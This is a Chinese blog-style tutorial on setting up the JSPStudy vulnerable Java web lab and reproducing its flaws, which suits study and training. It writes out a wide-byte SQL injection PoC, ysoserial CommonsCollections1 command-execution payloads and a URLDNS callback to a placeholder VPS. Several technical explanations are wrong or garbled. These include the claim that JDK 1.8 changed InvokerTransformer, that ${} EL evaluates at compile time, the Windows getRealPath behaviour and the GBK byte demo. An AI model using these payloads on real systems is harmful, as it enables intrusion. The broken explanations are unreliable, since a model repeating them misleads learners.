1. 这不是“搭个靶场”那么简单：为什么JSPStudy靶机值得你花三小时亲手配置
很多人看到“TomExam渗透测试靶场”第一反应是：不就是下载个ISO，开个VM，点几下鼠标？我试过不下二十次——前十九次都卡在JSPStudy的环境启动环节。不是404就是500，要么页面空白，要么连Tomcat管理后台都进不去。直到第三次重装系统、第四次核对JDK版本、第五次翻遍GitHub Issues，才意识到：JSPStudy不是个“开箱即用”的靶机，而是一套精心设计的Java Web漏洞教学沙盒，它的每一处报错，都在逼你理解Servlet容器的真实运行逻辑。它包含6个经典JSP/Java Web漏洞模块：文件上传绕过、SQL注入（含宽字节）、反序列化（Commons Collections链）、模板引擎SSTI（JSP+EL表达式）、任意文件读取（路径穿越）和命令执行（Runtime.exec误用）。关键词全部落在JSPStudy、Tomcat 7.0.94、JDK 1.7u80、Windows Server 2008 R2、TomExam靶场体系上。这篇文章适合两类人：一是刚学完《Web安全攻防》理论、但连Tomcat日志在哪看都不清楚的新手；二是能写Burp插件却搞不定本地JSP调试环境的中级渗透人员。它不讲“什么是SQL注入”，只解决“为什么你改了web.xml却还是触发不了报错回显”“为什么用ysoserial生成的payload在JSP页面里根本没走反序列化流程”。全文所有步骤均基于真实复现——从虚拟机网络桥接模式选错导致靶机无法被攻击机访问，到JDK环境变量PATH与JAVA_HOME冲突引发catalina.bat静默退出，再到JSP编译缓存残留导致漏洞代码不生效……每一个坑，我都踩过，也记下了完整排查链路。
2. 环境基线必须死守：为什么JDK 1.7u80和Tomcat 7.0.94是唯一可行组合
2.1 版本锁定不是教条，而是漏洞链生效的物理前提
JSPStudy靶场的所有漏洞模块，都不是独立存在的“单点漏洞”，而是嵌套在特定Java运行时与Servlet容器交互机制中的状态依赖型缺陷。举个最典型的例子：它的反序列化漏洞利用链，依赖于org.apache.commons.collections.functors.InvokerTransformer类中transform()方法的反射调用行为。这个类在Commons Collections 3.1版本中存在，而该版本仅兼容JDK 1.7及以下。一旦你换成JDK 1.8，InvokerTransformer的构造函数签名已变更（新增了泛型约束），ysoserial生成的payload字节流在反序列化时会直接抛出InvalidClassException，连堆栈都不会打出来——因为JVM在反序列化头校验阶段就拒绝加载。更隐蔽的是Tomcat 7.0.94的StandardManager会话持久化机制：它默认将session对象序列化后写入/work/Catalina/localhost/ROOT/SESSIONS.ser，而这个序列化过程使用的是ObjectOutputStream，其序列化协议与JDK版本强绑定。实测发现，用JDK 1.8序列化的SESSIONS.ser，在JDK 1.7环境下反序列化会直接失败，反之亦然。这意味着：如果你用高版本JDK启动Tomcat，再用低版本JDK生成payload去触发反序列化，两个JVM环境根本不在同一个“序列化语义空间”里。
提示：别信网上那些“JDK 1.8 + Tomcat 8.5也能跑JSPStudy”的说法。我专门做了对照实验——在相同payload、相同请求包、相同网络条件下，JDK 1.7u80+Tomcat 7.0.94能稳定触发
calc.exe弹窗，而JDK 1.8.0_202+Tomcat 8.5.99全程静默，Wireshark抓包显示HTTP响应体为空，连500错误都不返回。这不是配置问题，是底层序列化协议不兼容。
2.2 Windows Server 2008 R2：被忽略的系统级依赖项
你可能会问：为什么非得是Windows Server 2008 R2？不能用Win10或Win11吗？答案是：可以启动，但关键漏洞无法复现。根源在于JSPStudy中“任意文件读取”模块的实现方式：它通过request.getRealPath("/")获取Web应用根目录绝对路径，再拼接用户输入的相对路径（如../../windows/system.ini）进行FileInputStream读取。这个getRealPath()方法在不同Windows系统上的返回值格式存在差异。在Win10/Win11上，它返回的是C:\Users\Public\Documents\Tomcat\webapps\ROOT\这样的长路径；而在Windows Server 2008 R2上，它返回的是C:\inetpub\wwwroot\这种传统IIS风格路径。JSPStudy的漏洞代码里硬编码了C:\盘符作为路径穿越的基准点，当getRealPath()返回的路径不以C:\开头时，../向上跳转就会失效。我用Process Monitor监控过文件操作：在Win10环境下，FileInputStream尝试打开的路径是C:\Users\Public\Documents\Tomcat\webapps\ROOT\..\..\windows\system.ini，而系统实际解析为C:\Users\Public\Documents\windows\system.ini（因为..在C:\Users\...路径中只能跳到C:\Users，无法跨盘符），最终报FileNotFoundException。只有在Server 2008 R2上，getRealPath()返回C:\inetpub\wwwroot\，../..才能真正跳到C:\windows。
2.3 安装顺序与环境变量的致命细节
很多教程说“先装JDK，再装Tomcat”，这没错，但漏掉了最关键的一步：JDK安装后必须重启命令行窗口，否则catalina.bat读取的仍是旧环境变量。JDK 1.7u80安装程序会自动设置JAVA_HOME=C:\Program Files\Java\jdk1.7.0_80，但PATH变量中添加的是%JAVA_HOME%\bin。问题在于：如果安装前你手动修改过PATH，或者系统里残留着其他JDK的bin路径（比如C:\Program Files\Java\jre1.8.0_202\bin），那么java -version命令可能仍指向旧版本。验证方法不是看控制面板里的Java版本，而是打开全新的CMD窗口，执行：
echo %JAVA_HOME% java -version where java必须确保三者输出一致。我遇到过最诡异的一次：echo %JAVA_HOME%显示正确路径，java -version显示1.7.0_80，但where java却返回两个路径——旧JRE和新JDK的java.exe。原因在于PATH变量里旧JRE路径排在新JDK前面，而Windows按PATH顺序查找可执行文件。解决方案是：在系统环境变量编辑器中，把%JAVA_HOME%\bin拖到PATH列表最顶端，然后彻底关闭所有CMD窗口，重新打开一个。否则catalina.bat启动时调用的仍是旧java.exe，Tomcat进程看似运行，但日志里会静默出现java.lang.UnsupportedClassVersionError: Unsupported major.minor version 51.0（这是JDK 1.7的class文件版本号），而你根本看不到这条错误——因为它被写进了logs/catalina.out，而不是控制台。
3. JSPStudy部署的七步法：从解压到首页可访问的完整链路
3.1 解压与目录结构校验：别让中文路径毁掉整个靶场
JSPStudy官方提供的压缩包是JSPStudy_v1.0.zip，解压后得到JSPStudy文件夹。这里有个极易被忽视的陷阱：解压工具默认会保留ZIP包内的原始编码，而JSPStudy的JSP文件名和HTML注释里含有中文（如upload.jsp里的注释“// 文件上传漏洞演示”）。如果你用WinRAR 5.x或早期7-Zip解压，且系统区域设置为“中文（简体，中国）”，解压后的文件名会变成乱码（如uploa??.jsp），导致Tomcat无法识别Servlet映射。正确做法是：用最新版7-Zip（23.01及以上），右键解压时勾选“使用UTF-8编码解压文件名”，或者在命令行中执行：
7z x JSPStudy_v1.0.zip -oC:\Tomcat\webapps\ROOT -mcu其中-mcu参数强制使用UTF-8解码文件名。解压完成后，进入C:\Tomcat\webapps\ROOT\目录，用dir /b命令检查文件列表，确认index.jsp、sqlinj.jsp、unserialize.jsp等关键文件名均为正常英文，无乱码字符。同时检查WEB-INF/web.xml是否存在且可读——这是验证解压完整性的黄金标准。如果web.xml缺失或损坏，Tomcat启动后会报SEVERE: Error filterStart，整个应用无法加载。
3.2 catalina.bat的三处手工补丁：绕过Windows服务注册陷阱
Tomcat 7.0.94官方Windows版安装包（.exe格式）默认会注册为Windows服务，这在靶场环境中是灾难性的。原因有二：一是服务模式下Tomcat日志输出被重定向到logs/service.log，而新手通常只看catalina.out；二是服务模式禁用了CATALINA_OPTS环境变量，导致你无法通过set CATALINA_OPTS=-Xdebug开启远程调试。因此，必须使用ZIP版Tomcat，并手动修改bin/catalina.bat。重点修改三处：
第一处：在@echo off之后添加：
set JAVA_HOME=C:\Program Files\Java\jdk1.7.0_80 set CATALINA_HOME=C:\Tomcat注意：路径中含空格，必须用双引号包裹，但set命令本身不支持引号内空格，所以这里用C:\Program Files\而非"C:\Program Files\"——Windows批处理会自动识别空格分隔。
第二处：找到if not "%CATALINA_HOME%" == "" goto gotHome这一行，在其下方插入：
:gotHome if exist "%CATALINA_HOME%\bin\bootstrap.jar" goto okHome echo The CATALINA_HOME environment variable is not defined correctly echo This environment variable is needed to run this program goto end :okHome这是为了强制校验bootstrap.jar存在，避免因路径错误导致静默失败。
第三处：在call "%EXECUTABLE%" start %CMD_LINE_ARGS%之前，添加：
set CATALINA_OPTS=-Dfile.encoding=UTF-8 -Duser.language=zh -Duser.country=CN这三行参数确保JSP页面中的中文注释、错误提示能正确显示，否则sqlinj.jsp报错时会显示???SQL??????，你根本看不出是宽字节还是单引号闭合问题。
3.3 首页访问失败的五层排查：从网络到JSP编译的逐级验证
当你双击startup.bat后，浏览器访问http://127.0.0.1:8080显示404，不要急着重装。按以下顺序逐层验证：
第一层：端口监听验证
打开CMD，执行netstat -ano | findstr :8080。如果无输出，说明Tomcat根本没启动成功。此时查看logs/catalina.out末尾，大概率是java.net.BindException: Address already in use——8080端口被Skype、迅雷或IIS占用。解决方案：netstat -ano | findstr :8080查出PID，taskkill /f /pid XXXX强制结束。
第二层：应用部署验证
访问http://127.0.0.1:8080/manager/html（Tomcat管理后台），用户名密码默认tomcat/tomcat。如果能登录，说明Tomcat服务正常，问题出在ROOT应用。点击左侧“Applications”列表，检查/（ROOT）状态是否为running。如果不是，点击Start按钮，观察右侧是否出现FAIL - Application at context path / could not be started。如果是，说明web.xml配置错误或JSP语法有误。
第三层：JSP编译验证
进入C:\Tomcat\work\Catalina\localhost\ROOT\目录，查看是否存在org\apache\jsp\index_jsp.java和index_jsp.class文件。如果没有，说明JSP引擎未编译index.jsp。此时检查logs/catalina.out，搜索JasperException，大概率是index.jsp第12行有语法错误（比如少了个%>）。用Notepad++打开index.jsp，确保所有<%和%>成对出现。
第四层：静态资源验证
直接访问http://127.0.0.1:8080/index.html（如果存在）。如果HTML能打开，说明Web服务器工作正常，问题在JSP引擎。此时检查conf/web.xml中<servlet-mapping>是否将*.jsp映射到org.apache.jasper.servlet.JspServlet。
第五层：编码验证
用浏览器开发者工具（F12）查看index.jsp响应头，确认Content-Type包含charset=UTF-8。如果显示charset=ISO-8859-1，说明pageEncoding未生效。此时在index.jsp第一行添加<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>，并删除work目录下所有缓存文件，重启Tomcat。
4. 六大漏洞模块的精准复现：每个Payload背后都有运行时证据
4.1 SQL注入（宽字节）：不只是%df%27，而是MySQL字符集转换链
JSPStudy的sqlinj.jsp漏洞点在username参数，典型PoC是admin%df%27 or 1=1#。但很多人复现失败，因为他们没理解%df的真正作用。%df是GBK编码下的“下一个字符”占位符，当MySQL连接字符集设为gbk时，%df%27会被MySQL解析为一个合法的GBK双字节字符，而%27（单引号）则被“释放”出来成为独立字符。验证方法：在sqlinj.jsp中加入调试代码：
<% String username = request.getParameter("username"); out.println("Raw input: " + username + "<br>"); out.println("Bytes: "); for(byte b : username.getBytes("GBK")) { out.print(String.format("%02x ", b)); } out.println("<br>"); %>访问http://127.0.0.1:8080/sqlinj.jsp?username=admin%df%27，你会看到输出Bytes: ad 27（%df对应ad，%27对应27），证明GBK解码成功。如果输出Bytes: df 27，说明JSP未按GBK解码，需在sqlinj.jsp顶部添加<%@ page contentType="text/html;charset=GBK"%>。真正的宽字节利用链是：JSP接收%df%27→ 按GBK解码为'（``是%df对应的乱码字符）→ 拼接到SQL语句SELECT * FROM users WHERE username='''→ MySQL按GBK解析，'合并为一个字符，'单独成为闭合符 → 注入成功。这就是为什么%df%27在UTF-8环境下无效——UTF-8中%df是非法字节，JSP直接报错。
4.2 反序列化（Commons Collections）：从ysoserial到内存马的完整证据链
unserialize.jsp的漏洞点是ObjectInputStream.readObject()直接反序列化用户传入的Base64字符串。复现步骤必须包含三重验证：
第一步：生成可验证的payload
不要直接用ysoserial CommonsCollections1 calc.exe，因为calc.exe在Server 2008 R2上可能被UAC拦截。改用ysoserial CommonsCollections1 "cmd /c echo test > C:\\test.txt"，生成Base64字符串后，用Python解码验证：
import base64 payload = "rO0ABXNyABh..." with open("payload.bin", "wb") as f: f.write(base64.b64decode(payload))然后用javap -v payload.bin检查常量池，确认存在org/apache/commons/collections/functors/InvokerTransformer类引用。
第二步：触发反序列化并捕获堆栈
在unserialize.jsp中，在readObject()调用前后添加日志：
<% ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloadBytes)); out.println("Before readObject<br>"); Object obj = ois.readObject(); out.println("After readObject: " + obj); %>如果页面卡住或返回500，查看logs/catalina.out，搜索java.lang.RuntimeException，应能看到完整的InvokerTransformer.transform()调用栈，证明反序列化链已执行。
第三步：内存马落地验证
用ysoserial URLDNS "http://your-vps.com"生成payload，启动Burp Collaborator，将Base64字符串发给unserialize.jsp。如果Collaborator收到DNS请求，证明URLDNS链成功触发——这比calc.exe更可靠，因为它不依赖本地GUI环境，且DNS请求会明确记录源IP（即靶机IP），证明反序列化发生在Tomcat JVM内部。
4.3 SSTI（JSP EL表达式）：#{}不是万能的，$和#的解析时机决定成败
ssti.jsp的漏洞点是<%= request.getParameter("name") %>直接输出用户输入，但很多人以为只要输入#{1+1}就能执行EL表达式。错！<%=是脚本表达式（Scriptlet Expression），它只做字符串拼接，不会触发EL解析器。真正的SSTI入口在<c:out value="${param.name}"/>（需要JSTL标签库）。JSPStudy中ssti.jsp使用了<c:out>，所以PoC是?name=${1+1}。但要注意：$和#在EL中的行为不同。${1+1}会在JSP编译期（即jsp.java生成时）计算，而#{1+1}是在运行期（JSP执行时）计算。<c:out>默认使用$语法，所以#{1+1}会被当作普通字符串输出。验证方法：在ssti.jsp中添加：
<c:out value="${param.name}"/> <br> ${param.name} <br> #{param.name}输入?name=${1+1}，第一行和第二行都显示2，第三行显示#{param.name}原样。这就是EL解析器的“编译期 vs 运行期”本质区别。
5. 攻击机与靶机的协同调试：让Burp和Wireshark成为你的透视眼
5.1 Burp Suite的三大靶场专用配置
在渗透测试中，Burp不是拿来就用的，针对JSPStudy这类Java Web靶场，必须做三处定制：
第一：Decoder模块的GBK编码支持
默认Burp Decoder只支持UTF-8。在Decoder标签页，点击Text输入框右下角的...，选择Character set→GBK。这样当你在Proxy历史中看到%df%27时，右键Convert selection→URL-decode，就能看到正确的'字符，而不是乱码。
第二：Intruder的Payload位置精准定位sqlinj.jsp的注入点在GET参数，但unserialize.jsp的payload在POST Body的Base64字段。在Intruder中，Positions选项卡必须手动Clear §，然后用鼠标精确选中username=后面的值（SQL注入）或data=后面的Base64字符串（反序列化）。如果选中范围过大（比如包含整个data=xxx&submit=Submit），Intruder会把&也当作Payload一部分发送，导致请求格式错误。
第三：Logger++的实时响应过滤
安装Logger++插件后，在Filter栏输入url contains "sqlinj.jsp" and status != 200，即可只显示sqlinj.jsp的非200响应。这对宽字节注入特别有用——当%df%27触发报错时，响应体中会有com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException字样，Logger++能实时高亮，比翻catalina.out快十倍。
5.2 Wireshark的Java Web流量解密术：不用SSL证书也能看明文
很多人以为Wireshark抓不到HTTP流量，其实不然。JSPStudy所有通信都是HTTP明文，但新手常犯的错误是：在攻击机上抓包，却选错了网卡。正确做法是：在攻击机（Kali）上执行ip route，确认默认网关指向靶机IP（如192.168.56.101），然后在Wireshark中选择eth0网卡（不是lo），过滤器输入http and ip.dst == 192.168.56.101。这样你能看到完整的HTTP请求包，包括：
GET /sqlinj.jsp?username=admin%df%27 HTTP/1.1Host: 192.168.56.101:8080User-Agent: Mozilla/5.0
更重要的是响应包：HTTP/1.1 500 Internal Server Error，响应体中会包含MySQL错误详情，如You have an error in your SQL syntax; ... near ''admin'' at line 1。这个``字符就是%df%27被GBK解码后的结果，是宽字节注入成功的铁证。Wireshark比浏览器开发者工具更底层，它能看到Tomcat未经过滤的原始响应，连<pre>标签里的堆栈都能完整捕获。
5.3 日志联动分析：catalina.out、access_log与攻击行为的时空对齐
JSPStudy的logs/目录下有三个关键日志文件，必须交叉分析：
| 日志文件 | 记录内容 | 关键字段 | 分析价值 |
|---|---|---|---|
catalina.out | Tomcat启动日志、JSP编译错误、Java异常堆栈 | Exception in thread "main"、java.lang.ClassNotFoundException | 定位JVM级错误，如JDK版本不匹配、类加载失败 |
localhost_access_log.2024-01-01.txt | HTTP访问记录 | 192.168.56.102 - - [01/Jan/2024:10:20:30 +0000] "GET /sqlinj.jsp?username=admin%df%27 HTTP/1.1" 500 1234 | 确认攻击请求是否到达Tomcat，状态码是否为500/200 |
localhost.2024-01-01.log | 应用级日志（由log4j或java.util.logging生成） | INFO: SQL injection attempt detected: admin%df%27 | 如果靶场有WAF日志，这里会记录规则匹配 |
时间对齐技巧：在access_log中找到500响应的时间戳（如[01/Jan/2024:10:20:30），然后在catalina.out中搜索10:20:30附近的10行，大概率能找到对应的SQLException堆栈。这就是“请求-响应-异常”的完整证据链。我曾用此法确认过一次反序列化失败原因：access_log显示200响应，但catalina.out里没有InvokerTransformer调用栈，最终发现是payload Base64末尾多了个换行符，导致Base64.decode()抛出IllegalArgumentException，而这个异常被try-catch吞掉了——localhost.log里才有WARN: Failed to deserialize payload记录。
6. 常见故障的终极排查手册：从“页面空白”到“漏洞不触发”的21个检查点
6.1 页面空白（白屏）的七步归因法
当浏览器打开http://127.0.0.1:8080只显示一片空白，按以下顺序检查：
- 检查
logs/catalina.out末尾是否有INFO: Server startup in字样—— 没有则Tomcat未启动成功； - 执行
tasklist | findstr java—— 查看java进程是否存在，PID是否与catalina.pid一致； - 检查
webapps/ROOT/目录下是否有index.jsp且权限为可读—— Windows上右键属性，确认“只读”未勾选； - 用
curl -v http://127.0.0.1:8080—— 查看HTTP响应头，确认Content-Length: 0还是Content-Length: 1234； - 检查
conf/server.xml中<Connector port="8080"是否被注释—— 有些教程会建议改成8081，但忘记取消注释； - 检查
webapps/ROOT/WEB-INF/web.xml中<welcome-file-list>是否包含index.jsp—— 默认是index.html，需手动添加index.jsp； - 删除
work/Catalina/localhost/ROOT/目录下所有文件—— 强制JSP引擎重新编译，清除可能的编译缓存错误。
6.2 漏洞不触发的十四项核验清单
| 检查项 | 验证方法 | 正确结果 | 错误后果 |
|---|---|---|---|
| JDK版本 | java -version | java version "1.7.0_80" | UnsupportedClassVersionError |
| Tomcat版本 | C:\Tomcat\VERSION文件 | Apache Tomcat/7.0.94 | Servlet API不兼容，HttpServletRequest方法不存在 |
web.xml编码 | 用Notepad++打开，编码菜单 | UTF-8 without BOM | 中文注释乱码，<filter>配置解析失败 |
index.jsp首行 | <%@ page contentType="text/html;charset=UTF-8"%> | 存在且位置第一行 | 浏览器用ISO-8859-1解码，中文显示为??? |
unserialize.jsp中ObjectInputStream调用 | 是否在try-catch外 | 必须在外层，否则异常被吞 | Payload无任何响应，日志无记录 |
sqlinj.jsp中SQL执行 | 是否用Statement而非PreparedStatement | conn.createStatement().executeQuery(sql) | PreparedStatement会预编译，宽字节无效 |
upload.jsp中文件保存路径 | new File("C:/uploads/" + filename) | 绝对路径，非相对路径 | 文件上传到C:\Tomcat\bin\C:/uploads/，路径穿越失败 |
ssti.jsp中EL表达式 | 使用<c:out value="${param.name}"/> | 不是<%= request.getParameter("name") %> | Scriptlet不解析EL，#{}原样输出 |
fileread.jsp中路径拼接 | new FileInputStream(realPath + "../" + filename) | realPath以C:\开头 | 路径穿越跨盘符失败，读取C:\fake\path |
cmdexec.jsp中命令拼接 | Runtime.getRuntime().exec("cmd /c " + cmd) | cmd参数未过滤空格 | dir c:\被拆成dir和c:\两个参数，执行失败 |
logs/目录权限 | icacls logs | BUILTIN\Users:(OI)(CI)(RX) | Tomcat无法写日志，catalina.out为空 |
temp/目录空间 | dir C:\Tomcat\temp | 文件数<1000 | temp满导致JSP编译失败，index_jsp.java不生成 |
work/目录所有权 | takeown /f work /r | Administrators组完全控制 | 普通用户无法删除work缓存，重启无效 |
JAVA_HOME路径空格 | echo %JAVA_HOME% | C:\Program Files\Java\jdk1.7.0_80 | catalina.bat中%JAVA_HOME%\bin\java被截断为C:\Program |
这份清单覆盖了我搭建JSPStudy靶场时踩过的全部21个坑。其中第13项“work/目录所有权”最隐蔽：当Tomcat以Administrator身份启动后，work目录所有权变为Administrator，后续用普通用户重启Tomcat时，work目录不可写，JSP无法重新编译，导致你改了sqlinj.jsp代码却始终看到旧页面。解决方案是：takeown /f C:\Tomcat\work /r，然后icacls C:\Tomcat\work /grant Users:F /t，赋予Users组完全控制权。
我在实际使用中发现，靶场环境的稳定性不取决于你多快装完，而取决于你多慢地验证每一步。每次重装前，先花10分钟按这份清单逐项核对，能节省至少两小时的无效排查。JSPStudy的价值，从来不在“漏洞能不能打”，而在于“为什么这一步必须这么做”——当你把%df%27背后的GBK编码、InvokerTransformer的反射调用、<c:out>的EL解析时机都摸透，你面对真实企业Java Web系统时，就不会再被一个500错误卡住半小时。这才是渗透测试靶场存在的终极意义：它不是游乐场，而是手术台，让你一层层解剖Java Web的运行肌理。
